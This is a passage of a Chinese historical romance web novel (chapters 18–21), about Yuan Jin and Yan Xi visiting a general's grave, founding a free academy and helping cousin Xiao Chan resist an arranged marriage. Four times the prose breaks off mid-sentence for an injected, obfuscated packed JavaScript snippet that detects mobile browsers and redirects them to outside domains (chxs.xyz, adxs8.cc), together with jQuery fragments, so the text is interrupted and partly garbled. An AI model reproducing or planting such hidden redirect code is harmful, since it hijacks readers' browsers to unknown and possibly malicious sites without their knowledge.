“自是在此遥祭。孝在心不在形。况且我父母是开明的人,才不会计较那些虚礼。”颜熙调好镇纸,转头冲她笑道,“我还差几卷没抄完,娘子行行好,让我抄完再陪你玩?” 袁瑾切了一声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065424|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁稀罕。”太阳渐足,有些烤人,她抬了抬下巴示意颜熙让开,她要进屋。 颜熙纳闷:“你进屋跟我让开有什么关系吗?” 袁瑾用实际行动回答了他的问题——翻窗。 “人家都是郎君翻窗会佳人,到你这反过来了。”颜熙哭笑不得,伸手扶着她。 “别人是别人我是我。”袁瑾停下整理衣裙的手,不怀好意地瞧了颜熙一眼,促狭,“怎么,要我负责?” “你乱说什么?”颜熙眼中闪过一丝慌乱。 袁瑾也意识到自己的玩笑有些不妥,摸了摸鼻子,懊恼之余又有些惆怅。嫁出的郎君泼出去的水,颜熙要是成婚了的话,我就不能再同他这般胡闹了……想想,还真有些舍不得。 不过这情绪来得快,去得也快。她敲了敲书案,对颜熙说道:“给我支笔,我和你一起抄。” “和我一起抄?”颜熙有些惊讶。 “嫂嫂不在,我作为小姑自是要帮忙的。”袁瑾凶巴巴地问颜熙,“不行吗?” “行,怎么不行?有人分担我高兴还来不及呢。”颜熙将纸笔递给了她。 “这还差不多。”袁瑾接过纸笔,又问,“中元的时候你一个人去?” “不然呢?”颜熙笑道,“你还能从那里找到第二个闲人陪我?” 袁瑾想了又想,还真没有第二个闲人。可一想到颜熙独自去祭拜先人实在可怜。她拿起摆放在书案上的核舟,思索再三,对颜熙说:“中元的时候我陪你。” “陪我?袁娘子如果我没记错的话,你在中元当天也不得闲吧。”颜熙提醒道。 “这你就不用管了,我自有办法。”袁瑾放下核舟,抬起头,冲着颜熙扬起大大的笑容,“虽会迟一点,但我肯定到,定不会让你一个人孤零零的。” 那笑容如鲜花一般娇艳,又似阳光一般明媚。落在人心中,驱散了冰冷沉重的郁气,滋养出直面生活的勇气。 颜熙望着袁瑾,忽地想起了那日与崔夫人的谈话。 崔夫人略带迟疑的声音在耳畔响起:“你,很在意她?” 他望向袁瑾所在的方向,那丫头似是有感应,猛地转过身,十分凶狠地瞪着他。浅棕色的眸子像晶莹剔透的琥珀,淡金色的阳光落在其中,熠熠生辉。 他自小就知道袁瑾有一双漂亮的眼睛,每一次见到都会让人感到生命的律动,让人情不自禁地靠近。看得久了,眼中自然也不会有别人的身影了。 所以他肯定地回答:“是,很在意。即便江水为竭,冬雷震震,夏雨雪[2],我心不变。” 崔夫人沉默许久,长叹一句:“春燕差池风散梅,开帏对景弄禽雀。含歌揽涕恒抱愁,人生几时得为乐[3]?” 记忆中那个怒气冲冲向他走来的娘子渐渐与眼前人融为一体,变成了了闪闪发光的袁瑾。 人生来就爱明亮,只要能一直看到明亮的她,我就已经很高兴了。 颜熙撑着脸颊,眉眼含笑,拉长尾音:“那我就恭候娘子大驾了。” 18. 第 18 章 宗祠巍然屹立,一砖一瓦都诉说着家族的荣辱兴衰。袁氏众人跪于祖先牌位前诵经,一愿祖先魂灵安息,二请祖先庇护家族。 一套流程下来,临近晌午。袁瑾心里还记挂着跟颜熙的约定,在族人向园中走去时,她问父亲:“阿耶我能不能不去家宴?” 还没等父亲说话,叔父就开始吹胡子瞪眼:“你现在越来越没规矩了,这次不去家宴,下次是不是连祭祖都不来了?” 父亲拉住叔父:“哎——松岩你也太武断了,万一孩子真的有急事呢?不如先听听,若是真没规矩不用你说,我一定教训。” 有父亲撑腰,她底气更足了,说道:“我是觉得嫂嫂不在,作为亲眷应该替她去祭拜陈大将军。” “确该如此。陈大将军为国捐躯,可歌可泣。你我自诩名士,即便无亲也该去祭拜。”父亲转头看向叔父,问道,“你觉得如何?松岩。” 叔父捋了捋胡子:“但你我现在无暇脱身,该让谁去?” 袁瑾知道叔父这是答应了,毛遂自荐:“让我去吧,我跟颜青阳约好了一起去祭拜陈大将军。” 叔父闻言哼了一声:“我看你早有打算。” 父亲笑道:“孩子有心就好。去吧。” 她刚准备离开,被母亲拉住:“山路难走,去换一身衣服。我再让人准备些东西,你拿去,既是祭拜就得认真对待。” “做事草率。”叔父对她说道,“别贪玩,早点回来。” “知道了!” 得了应允,袁瑾快步回到房中,换了一身轻便的衣服,从婢女手中拿过母亲准备的祭品,出城去找颜熙了。 正值中元,不少人都会选择出城祭拜先祖。袁瑾花了些功夫才在河边找到颜熙。 虽然说了自己会晚到,但见颜熙一个人蹲在那里,她心中还是有些不舒服。张了张嘴,想说些什么却不知道说什么。默默地翻身下马,蹲在颜熙的身边,将自己准备的经文一张一张地放入火焰中,祈祷颜氏夫妇能在彼方得到安宁。 燃烧着,明亮着,直至最后化作一摊灰烬。一阵微风拂过,黑色的残骸洋洋洒洒地落入水中,随着流水去往遥远的彼方。 袁瑾刚想说话,却听到颜熙说:“好甜。” “甜?”袁瑾茫然。 颜熙左闻闻,右嗅嗅,最后看着她,一脸肯定道:“没错,就是从你身上传来的。” 她狐疑地抬起胳膊闻了闻,一股香甜的桂花味扑鼻而来。倏然想起这几天点的都是桂合花香,时间久了,衣服自然而然地被桂香浸染了。 颜熙咂嘴:“袁小幺,你说你涂得这般香甜,莫不是想在进山后喂虫子?” “你才想去喂虫子!”她掐着腰,“你再说,我就回去了,你自己上山去吧!” 颜熙服软:“别啊,我不说了还不行。” 她转过头不理颜熙。 颜熙绕到她的眼前,装可怜:“袁娘子你忍心看我一个人吗?” 袁瑾吃软不吃硬,虽然知道颜熙是装的,但还是心软了。 “行了,光打雷不下雨,你当我三岁小孩啊。”袁瑾一把推开颜熙,上马说道,“还不快走?” “走走走。”颜熙吹了个口哨,一匹白马小跑而来。 陈大将军的墓在城北的山上,那里距此地有十几里,一去一返,再加走山路和祭拜免不得要花几个时辰,所以他们得抓紧时间赶路,否则会耽误进城的时辰。 临近山脚,见山路崎岖,两人安顿好马匹,带上祭品步行上山。 袁瑾拨开挡在身前的树枝,看到颜熙手中的披袄,问道:“你带披袄作甚?” “担心受风着凉就带了。”颜熙理所当然。 袁瑾咋舌:“娇气。” “我这叫防患于未然。”颜熙转过身,对她说道,“我们到了。” 抬眼看去,一座坟墓映入眼帘。石碑挺立,一束阳光落在其上,恍然间仿佛又一次看到了那位保家卫国的大将军,心中不禁肃然起敬。 石碑前有一束不知名的野花,花朵其身淡紫,形如铃铛,不逊色于任何名贵花草。 “咦,这是哪里来的花?”袁瑾询问颜熙。 “大将军为人慷慨,许多人受其恩惠,今日中元自会有人来拜他。”一个拿着扫帚的老者蹒跚而来回答了袁瑾的问题。 颜熙上前一步,作揖:“晚辈颜青阳,见过老先生。不知老先生是何人?” “我知道郎君,你是大将军的徒弟。”老者还礼,答道,“不过一无名小卒,不值一提。早年受大将军恩惠,故自愿为将军守墓。” 见老者看向自己,袁瑾行礼道:“晚辈袁幼瑛,见过老先生。” “见过娘子。”老者笑道。 祭拜了陈大将军后,老者邀请两人去他的茅庐喝茶。茅屋是用泥土和干草做的,篱笆是几根树枝,与袁府相比简直是云泥之别。可袁瑾不见任何嫌弃,自然而然坐在石桌上,津津有味地听老者讲述往事。 “我那时护送娘子归家,却遇到了盘踞于此的匪寇。我和其他人奋力抵抗,却还是敌不过那群人匪寇,眼见女眷们被掳走。绝望之际,一位郎君横空出现,一箭射死了匪首。” “但匪寇大乱,惊到了马匹。那畜生带着马车一路狂奔,我本回到原位的心有一次提到了嗓子眼,娘子若是出事了我们这群人是非死不可了。好在那郎君立刻骑马追了上去,将娘子救了回来,我的命才得以保全。” “后来几番打听才知道那郎君是临县有名的义士,那日组织了邻近青壮与官府一同围剿匪寇。” 袁瑾:“那义士就是大将军?” “正是。”老者望向远方,“若是没大将军小人早就命归黄泉了,又岂会有今日。说句不像样的话,大将军真如小人的再生父母。” “没想到陈大将军还有这样的往事。”袁瑾用胳膊碰了碰坐在身侧的颜熙,“你怎么没跟我说过这件事?” “这是师父年轻的事,我也是第一次听说,怎么告诉你?”颜熙拿起茶杯抿了一口茶水。 “大将军不跟你说他年轻的事情吗?”袁瑾奇怪。 颜熙放下茶杯,回答:“师父公务繁忙,少有时间与我和师姐讲述过往。” 袁瑾想了想心道,也对,边境也是这一两年才太平下来,在那之前陈大将军恐怕少有时间陪伴嫂嫂和颜青阳。 一盏茶后,颜熙见天色不早, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074253|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便向老者辞行。 树林被阳光晒得暖洋洋的,沁人心脾的气息萦绕在鼻尖,让人不住地放松深吸。 袁瑾伸了个懒腰,一边活动筋骨,一边跟颜熙闲聊:“我记得你跟陈大将军一起去过边塞,那里真如行商所说,是个极美的地方吗?” 半晌没得到回答,她蹙起眉头,转身怒视颜熙:“我在跟你说话呢……你鬼鬼祟祟地靠近我作甚?不会是偷偷干坏事了吧?说,你要干什么?” “别抬手!”颜熙伸手阻拦,但为时已晚。 袁瑾一抬手就看到了自己的胳膊上趴着一只核桃大的蜘蛛,浑身漆黑,八只眼睛在阳光下又黑又亮。一颗心顿时狂跳起来,汗毛倒竖,血脉逆流,四肢冰凉,大脑一片空白。她一边尖叫一边挥舞着手臂,试图把蜘蛛甩下去。 颜熙想帮忙却插不上手,只得说道:“你别乱动。惊到它,会乱爬的。” 此话非但没起任何作用,反而让袁瑾更害怕了,更加用力地甩袖子,一个没注意踩到了裙子,摔了一个屁墩。蜘蛛掉在了地上,慌慌张张地爬进附近的草丛里。 一人坐在地上,一人捞人的手悬在半空,面面相觑,林间顿时陷入一种诡异的沉默。 “都说了不要乱动。”颜熙收回手,压不住笑意,说道,“这下好了,蜘蛛没抓到,你自己先摔了。” 袁瑾本就被吓得魂不附体,如今被颜熙嘲笑,心中又气又恼,扯下香囊朝颜熙的脸砸去:“我是看你一个人,怕你孤单才来陪你的。现在摔了,你非但不管我,还要嘲笑我。” 她越说越委屈:“你这个没良心的,就知道欺负我!我再也不理你了!”说完,就低下头不肯让颜熙看到自己眼圈发红的样子。 一声叹息声响起,脚步声响起,还没等她回过神,头上一重,熟悉的香味扑鼻而来。抬起头,颜熙已经蹲在了她面前。 “你这丫头总是不停人说完话就给人下定论,脾气也太急了。谁说我不管你了?把披袄盖在身上遮住你身上的桂花味,就不会有虫子再往你身上爬了。还能走吗?要不要我背你?” 袁瑾愣愣地看着颜熙。 “怎么啦?”颜熙笑问,“难道要小的抱你下山吗?” “你想得美。”袁瑾横了颜熙一眼,站了起来,俯视颜熙,“我才不是娇气包。” “好好好,你不是。”颜熙也站了起来,将挂在腰间的横刀递给她。 “做什么?”她莫名其妙。 “披着衣服会遮挡视线,容易看不清路,怕你再摔了。”颜熙示意她抓剑鞘,“我给你引路。” “我哪有那么笨拙。”她嘴里嘀咕着,手已经抓住了剑鞘。 下山的路并不好走,可颜熙带她走的路却异样的平稳。 袁瑾悄悄地打量着颜熙,高大笔直的身躯挡住了微凉的山风,披袄上的沉香被捂暖,萦绕在鼻尖让人感到心安。 其实除去那张讨人厌的嘴,颜熙还是很吸引人的,风趣幽默,温柔体贴。她想,若是同他在一起,余生会很幸福吧。 远处传来稚子吟诗的声音:“风微起,波微生。弦亦发,酒亦倾。入莲池,折桂枝。芳袖动,芬叶披。两相思,两不知[1]。” 19. 第 19 章 颜熙:“幺女你怎么在这?” 袁瑾从颜熙身后探出头,不远处站着一个白白净净的小娃娃,衣服半新不旧,还带有补丁,可见家境并不好。但悬在胸前的五色香囊却精致华丽,足以见得她的父母很宝贝她。 小娃娃见了颜熙眼睛一亮,脆脆地叫了一声恩人后,就一脸兴奋地喊母亲快来。 袁瑾转头问颜熙:“你什么时候成了人家的恩人了?我怎么不知道?” “准确地说,我这个恩人的称号是借了你的光。”颜熙含笑。 啊?借我的光?袁瑾困惑不解。 这时,一个妇人从小路走出:“幺女,阿娘不是告诉你今天不能乱喊乱叫的吗?” 小娃娃跑到妇人身边,拉着母亲的手说道:“阿娘,幺女没有乱喊。你看,是恩人!” “竟真是恩人!”妇人惊喜道。 原来是她,在看清妇人的脸后,袁瑾才想起来自己在哪见过妇人。 “终于想起来了?”颜熙故意凑到耳边小声说道,“袁小幺你忘性真大。” 袁瑾瞪了颜熙一眼,又给了颜熙一拐子。 颜熙捂着肚子,气若游丝地控诉:“得鱼忘筌。” 袁瑾哼了一声。 妇人感叹:“两位的感情还是这么好。” 袁瑾用余光扫了一眼捂着肚子的颜熙:“一般般吧。”随后目光落在小娃娃身上问道:“这就是幺女?” “是,幸得恩人相助,幺女才得以康健。”妇人将小娃娃拉到身前,“快给恩人磕头。” 袁瑾连忙制止:“我不过就是买了核雕的客人罢了,可算不得什么恩人。可别再恩人恩人的叫我,我可怕折寿。”她蹲在小娃娃的面前,问道,“我刚才听你在背诗,是跟谁学的?” “是跟恩人学的。” 袁瑾顺着小娃娃的目光看向颜熙:“没想到啊,你也‘好为人师’。” 颜熙咳了咳:“我也是随口一念,没想到这孩子聪明一下子就记住了。” 袁瑾笑了一下,转头看向小娃娃:“幺女喜欢读书?” “嗯。”小娃娃认真地点头,“学堂里的先生很聪明,大家都说他的聪明是读书读出来的。幺女也想读好多好多的书,变得聪明。但是……” “幺女。”妇人打断了小娃娃的话。 小娃娃看到母亲板着脸,意识到自己多嘴了,低着头绞着手指。 看着母女二人互动,袁瑾心中明白了七八分。她握住小娃娃的手,问道:“那幺女告诉我,你想去读书吗?” 小娃娃抬起头,想开口回答,却还顾及着母亲。 “读不读书是你自己的事情,别人可不能替你做决定。”袁瑾看着小娃娃的眼睛,再次询问,“你想读书吗?幺女。” 小娃娃抿着嘴,仿佛在做很大的思想斗争,最后怯怯地问道:“可我没有束脩,这也能去读书吗?” “幺女。”妇人再次叫小娃娃的名字。 “当然,只要你想。”袁瑾笑着揉了揉小娃娃的头,站起身,对妇人说,“幺女既有天赋也愿读书,那就别埋没了。” 妇人苦笑:“我又何尝不知幺女有此天赋,只是……这孩子投生我家着实委屈。” “阿娘。”小娃娃不懂母亲为何会露出伤感的表情,转身抱住了母亲的腿,笨拙地安抚母亲,“阿娘不要伤心,幺女会乖乖的。” “我还以为是什么大事呢?”袁瑾笑了笑,语气随意道,“这有什么的?既然因为束脩头疼,那就建一所不要束脩的书院喽。” 语惊四座,所有人都看向了袁瑾。可当事人却一脸“不是什么大事”的样子。 回去的路上,颜熙不住地担心起来:“袁小幺,你这牛皮是不是吹大了?” “你才吹牛皮。”袁瑾瞪了颜熙一眼。 颜熙:“可是建一座书院哪是那么容易的?光是地皮建材就要花不少钱,更何况之后的聘请先生,采购食材等等都是一笔不菲的开销,你确定世伯会同意?” “你说的我都知道,但为何要我阿耶同意?”袁瑾疑惑。 颜熙:“难道不需要世伯出钱?” 袁瑾闻言扑哧地笑出声:“我还以为你有多知微见著呢?原来也不过如此。”她抹了抹眼泪,迎着颜熙困惑的眼神打趣:“你不会以为我这些年光吃喝玩乐了吧?” 颜熙了然:“看来袁娘子也有深藏不露的一面。” “那是。”袁瑾扬起下巴,“我阿母将一家裁缝铺子给了我,小赚一笔,之后又用这笔钱盘了间铁匠铺。这些年两家铺子攒下的钱拿来建书院绰绰有余。至于地皮和建材,那就更不用愁了。上次射箭我第一,荀氏在城外的一处庄子归我了。” “荀氏为了收拾烂摊子可真是下了血本。”颜熙笑了笑,又问,“地方是有了,那人呢?聘请先生,雇佣仆从都要用钱,但你不收束脩,积蓄总有用完的时候。书院的用度是一个庞大的开销,可不是靠铺子的收入就足够的。” 袁瑾:“我当然想到了。我去看过,荀氏的庄子很大,而且远离城中喧嚣,很适合读书。所以我打算把庄子分成三部分,靠前的位置用于教书育人,居中的楼阁用于藏书供院中人翻阅,靠山的地方做考生苦读的清净之所。” “住在后山自然要交钱,这些钱可以用于书院开销。如果考生实在贫穷无法支付房钱,那他可以选择去前院当先生。如此书院有了教书先生,考生也有地方静心读书。” 颜熙:“那万一有人只是为了看书并不用心教学生呢?” “所以要制定更详细的计划啊。”袁瑾看向颜熙。 颜熙:“你看我作甚?” “你难道不出一份力吗?”袁瑾扬眉。 “……说我人尽其才,你也不遑多让吧,袁小幺。”被强行拉上船的颜熙苦笑。 “这是什么话,能参与进来是你的荣幸。”袁瑾摆弄头上的流苏。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079585|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,袁娘子说的是,”颜熙看着她,目光温和,“能帮到你,这是我的荣幸。” 袁瑾微微一愣,好像有什么情绪从心间飞快地划过。 也不知道家里人是怎么知道这件事,一个个的都来帮忙。父亲和母亲拨给她几个能干的仆从;兄弟姐妹们或出帮忙收书,或是自告奋勇去当教书先生;最有意思的是叔父这个老古板别别扭扭地告诉她,如果有需要,他愿意帮书院题字。 不过有家里人协助,袁瑾能忙里偷闲,去吃五芳斋新制的酥山。 她坐在靠窗的位置,能将街市热闹的场景一览无遗。今天的天气极好,万里无云,阳光随处可见。人们结伴而行,说着只有彼此才能懂的趣事。 远方传来耕牛的咆哮声,紧随其后是此起彼伏的尖叫声。袁瑾一愣,循声望去,一头公牛在街道上横冲直撞,衙役一边追牛一边让百姓回避以免误伤。 然而一女子仿若没听到喊声一样,竟出现在道路中央。眼见对方就要葬身牛蹄之下,袁瑾来不及多想,翻窗而出,向那女子飞扑而去,带着对方一起滚进对面的店铺里。 好在衙役甩出的绳套及时套住了牛角,才没让那头发了疯的公牛冲进店铺。在四五个衙役跟公牛较劲的时候,一个身手灵巧的衙役用一块黑布罩住了牛头。好一番较量,那公牛才安静了下来。 一场闹剧结束,袁瑾躺在地上长舒一口气后,转头问那女子:“你没事吧?”只是在看到萧婵的脸后一哽,表情瞬间变得复杂。 萧婵白着一张脸,愣愣地看着她不说话。 不会被吓傻了吧。袁瑾顾不得别扭,伸出手在萧婵的眼前晃了晃:“能听到我说话吗?表姐?萧明月!” 萧婵哆嗦了一下,直愣愣的眼神才有了神韵。平复了激荡的情绪后,向她道谢:“多谢,若没有表妹相救,我只怕会死吧。” “就你这小身板,不死也得残废。”袁瑾撇撇嘴,问道,“你刚才在想什么?那么入神,竟然连街上的混乱都没注意到。” 萧婵身形一顿,眼中的惊魂未定渐渐被哀愁取代,整个人散发出一股莫名的悲切。 袁瑾被萧婵的样子弄糊涂了,记忆里萧婵永远都是一张笑脸,她根本没见过萧婵露出过别的表情。 她托着下巴打量着萧婵,稀奇,真是稀奇。我还以为这辈子都看不到她露出别的表情。不过到底发生什么了?竟然让一贯喜怒不表于色的萧婵露出这副表情。 但好奇归好奇,她是不会问的。一来她本不是爱打听别人私事的人,二来她跟萧婵关系复杂,多问只会让对方以为自己在落井下石。她可不想自找麻烦。于是站起身打算离开,可见萧婵坐在地上黯然神伤,她又心有不忍。 你可真没救了袁幼瑛。 袁瑾一边嫌弃自己多管闲事,一边伸手拉起了萧婵:“你还要在这坐多久?为了救你,我的酥山都化了,你得赔我一碗新的。”说完,便以不容拒绝地态度拉着萧婵回五芳斋了。 20. 第 20 章 “伙计,再给我来两碟酥山,一碟贵妃红,一碟藕丝糖,一碟玉露团,还有一碟梅花酥,嗯,再来两碟透花糍。”袁瑾转过头看向萧婵,“我点这么多你不介意吧。” 萧婵摇了摇头。 “那就好。”袁瑾看向伙计,“就这些了,记在她的账上。你可以出去准备了。” 伙计忙不迭地点头,离开了雅间。 雅间内无人说话,静得只能听到风声。 袁瑾给自己倒了杯水润了润喉,才说道:“你还没告诉我你神情恍惚的原因。” 萧婵眸光微动,但依旧保持沉默。 “所以说我才讨厌你。一棍子下去,连个声都没有。”袁瑾咋舌,“你要是不说,我就把今天的事情告诉阿耶。” “别——”萧婵叫住了她。 “不想让我告诉阿耶,那就告诉我原因。”袁瑾敲着桌面。 萧婵终于开了口:“昨日家中来信。”她深吸一口气,像是给自己打气,“父亲要我入晋王府做王妃。” 袁瑾揉了揉耳朵,重新问道:“你说什么?让谁去当王妃?” 或许是最难熬的开头已经过去了,萧婵是接下来的话更流畅了:“信中说说宋国公御前失仪,免职在家思过,不知何时才能重返朝堂。可现在正是萧氏重振旗鼓的时候,宋国公不能被免职。” “所以你们家的人让你去吹枕头风?”袁瑾直奔主题。 萧婵点了点头。 袁瑾追问:“那你愿意吗?” 萧婵垂眸不语。 门轴声响起,伙计端着糕点进了雅间。一盘盘精致的点心摆在眼前,袁瑾却提不起胃口。等伙计退出去后,她忍不住道:“都说到这了,还有什么不能说的?” “我不愿意。”萧婵眼圈泛红,“可是父亲已经同意了,我能怎么办?” “你可以来找你的舅父,我的父亲,有困难寻求帮助有这么难以启齿吗?”袁瑾诧异。 “这不一样,你姓袁,当然可以随心所欲地求舅父帮忙,可我终究是一个……外甥女而已。”萧婵抿着嘴。 “那你身上没流袁氏的血吗?姑姑临终前将你托付给父亲,你自小长在袁家,你觉得我们会眼看与我们朝夕相伴的你被推进火坑吗?” “就算你认为这些不足以让父亲出手相助。那你两次出手助我脱身的恩情足够我们一家去想尽办法救你出来了吧。” 她看着萧婵,萧婵也在看着她。两人四目相对许久,萧婵眉头微蹙,却弯起了唇角:“你怎么能一直如此明亮啊,幼瑛。” “啊?”袁瑾没反应过来。 “我一直都很羡慕你。”萧婵十分真诚。 袁瑾觉得滑稽可笑:“羡慕我什么?羡慕我天天被叔父训斥,还是羡慕我无时无刻被人排挤编排?” “可你的高兴就是高兴,你的愤怒就是愤怒,你的一言一行皆是你真情流露,你活得那样真实,那样自由。反观我,”萧婵苦笑了一下,“活得像一个傀儡,喜怒哀乐借由他人掌控,半点由不得自己做主。” 袁瑾感到哀伤。 “你知道我第一次见到你的时候是什么样的感觉吗?”萧婵笑问。 若是放到以前袁瑾肯定觉得萧婵是在故意侮辱,但现在她已经不会那么想了,摇了摇头表示自己不知道。 “是震惊。”萧婵的眼中浮动着奇异的光彩,“一个被磨平棱角囫囵地装进精致的外壳里的人,忽然在某一天,见到一个有棱有角没有沉重外壳的人,那种震惊令人刻骨铭心。” “我好想从这精致的外壳脱身,好想找回失去的棱角,也好想去过你那样的人生啊。”萧婵眼神迷离,伸出手好似要去抓住什么。 “那就去做啊,光想有什么用?”袁瑾搅动酥山,“破茧成蝶靠得是自己不是别人。” 她停下了搅动的手,看向萧婵:“不过你比蝴蝶幸运点,可以得到外力的帮助。我已经说到这份上了,要不要把握机会就看你自己了。” “我要,我做梦都想要!”萧婵迫切地看向她,“求表妹帮我。” 袁瑾放下木勺:“不急,在这之前先确定一件事。” “所以你发贴子邀请各家的年轻人来蹴鞠就是为了让萧娘子和通古见一面?”颜熙夹着鞠球,“为什么非要见他?” “风调雨顺时自然什么都好,要是狂风暴雨可就未必了。”袁瑾捏着下巴,“崔通古姑且算个好人,但他的家人未必。倘若这次他能够顶住各方压力,周全一切,也算多一个助力。可若不能,那就哪凉快哪呆着去,别碍事。” 颜熙笑了一下:“你很关心萧娘子。” “我才没有!”袁瑾矢口否认。 “真的?”颜熙表示怀疑。 “……好吧,我承认我有一点点地关注她,但那绝不是关心!你不许乱想,听到没有!”看到颜熙在偷笑,袁瑾羞恼道,“你笑什么!” 颜熙装傻充愣:“有吗?我笑了吗?” “颜青阳!”袁瑾扬起拳头。 颜熙将鞠球抛给了她,笑道:“既然说是来蹴鞠的,你我比试一局,输家答应赢家一件事如何?” “一言为定!”她抱着鞠球,“输了可不要哭鼻子。” 颜熙:“娘子可不要早下结论,到时候丢脸可怎么办?” 二人四目相对,在彼此眼中看到了熟悉的较量。 年轻的男女们奔跑在场地上,尽情地挥洒着汗水。两队实力难分伯仲,你追我赶间,比分一直持平。 如火如荼的赛事终于到了一锤定音的时候,每个人都攥紧了拳头,精神高度集中。 锣声响起,鞠球被抛向空中,颜熙一马当先接过鞠球,随意地颠了颠,当发现有对手正在包围时,猛地一个转身带着球脱离了险境,动作灵动轻快,让人想起了捕猎的狐狸。 在队友的配合下,这只狡猾的狐狸很快绕过了防守,马上就要接近球门。围观者不禁握紧拳头,屏住呼吸,紧张地注视着场地。 就在这时一道玫红色的身影不知从何处冲出,以迅雷之势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084102|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将颜熙脚下的鞠球铲飞。鞠球在空中划出一道优美的弧度后,完美地落入另一队的控制范围。 说时迟那时快,一道黑影在眼前嗖地划过,鞠球飞进了颜熙所在队伍的球门! 围观席上静默片刻,随机爆发出热烈的呼喊。 而扭转局势的大功臣正大大咧咧地坐在地上,语调上扬,带着几分调皮挑衅的味道:“我这招‘一鸣惊人’如何?” “确实出人意料。”颜熙冲着袁瑾伸出手,“不过下一次,我肯定会赢你。” “绝无可能。”袁瑾握住颜熙的手,扬起嘴角,“现在你欠我一件事了。” 颜熙故作苦恼地按了按太阳穴:“唉,看来我这是自己给自己挖了个坑了。” “谁让你不怀好意。”袁瑾拍了拍颜熙的肩膀,“要你干什么我还没想好,等我想好了告诉你嗷。” 颜熙学着袁瑾的语气:“那我等你嗷。” “去你的。”袁瑾笑着推了颜熙一下,用手扇风,“行了,出了一身汗,难受死了,我回去换衣服去了。” 颜熙摆了摆手示意:“快去快去,正好我也清静清静。” “像谁稀得跟你说话似的。”袁瑾一跺脚转身离开。绕过转角,与萧婵碰了个正着。她挑眉:“跟崔通古聊完了?” 萧婵点了点头。 “如何?” 萧婵:“通古说他明日就求崔君去萧氏提亲,或许会遭遇挫折,但他绝不放弃。” “还算中用。”袁瑾嘀咕了一句,不过她还是提醒道:“不到最后,你可不要放松警惕,当心伤心。” “他不会让我失望的,我相信通古。”萧婵言辞肯定。 袁瑾不解,这么相信他吗?就不怕被骗了? 萧婵看出了她的疑惑,温声道:“崔闻是君子,君子不会随意许诺。他若是许下诺言,就一定会践行,所以我可以相信他。” 袁瑾想了想,也同意萧婵的看法。不过见萧婵一提到崔闻就眉眼含笑的样子,她不免有些好奇:“陷入情爱的人都是这样吗?” 萧婵微微一愣:“那哪样?” “就是你现在的样子啊,嘴角一直没掉下来过。”袁瑾指了指萧婵的嘴角。 萧婵下意识地摸了摸嘴角,面颊不禁红润起来。 “你是怎么确定是他,而不是别人?”袁瑾浅棕色的大眼睛里满是探索。 面对袁瑾的提问,萧婵一时也没有答案。她思索了很久,说道:“我也不知道该如何回答你的问题。如果非要说的话,我和他大概就是高山流水遇知音[1],他是特别的,没有任何人能够取代他。” 独一无二的知音吗?袁瑾似懂非懂,那我什么时候才能找到我的知音呢? 目光在人群中逡巡,猝不及防地与颜熙四目相对。颜熙挑起眉头,冲她露出一个嚣张却又灿烂的笑容。 那一瞬,狂风卷走了萦绕在心头的迷雾,露出了深藏心间的情愫,无数细小的碎片汇聚成一条条河流,从四面八方向她奔涌而来。 21. 第 21 章 “所谓君子百行,殊途而同致,循性而动,各附所安[1]。袁小幺是袁小幺就很好,你要是变成别人了,就没意思了。” …… “哎呀烦死了!”袁瑾想把颜熙的音容笑貌从脑子里丢出去,可非但没丢出去,反而出现得越来越多了。 我不会,真的喜欢他了吧? 袁瑾泄气似的倒在椅子上,把账簿扣在脸上,试图用纸张墨汁的味道让自己平静下来。 “娘子不好了!娘子不好了!” 袁瑾猛地扯下扣在脸上得账簿,看着惊慌失措的婢女:“什么是大惊小怪的?气喘匀了再说。” “萧君要带萧娘子回家。”婢女来不及解释,拉着她的手就往外走,“哎呀,您快别愣着了,主父和主母都不在家,您快去看看吧。” 还没进院,袁瑾就听到了清脆的掌掴声,心里一惊,快步进院。 “你的书都读到哪里去了?书上就是这么教你顶撞父亲的吗?”萧父暴跳如雷,斥责跌坐在地上的萧婵。 袁瑾急忙扶起萧婵,看向萧父:“姑父你怎么能随便打人?有话不能好好说吗?” 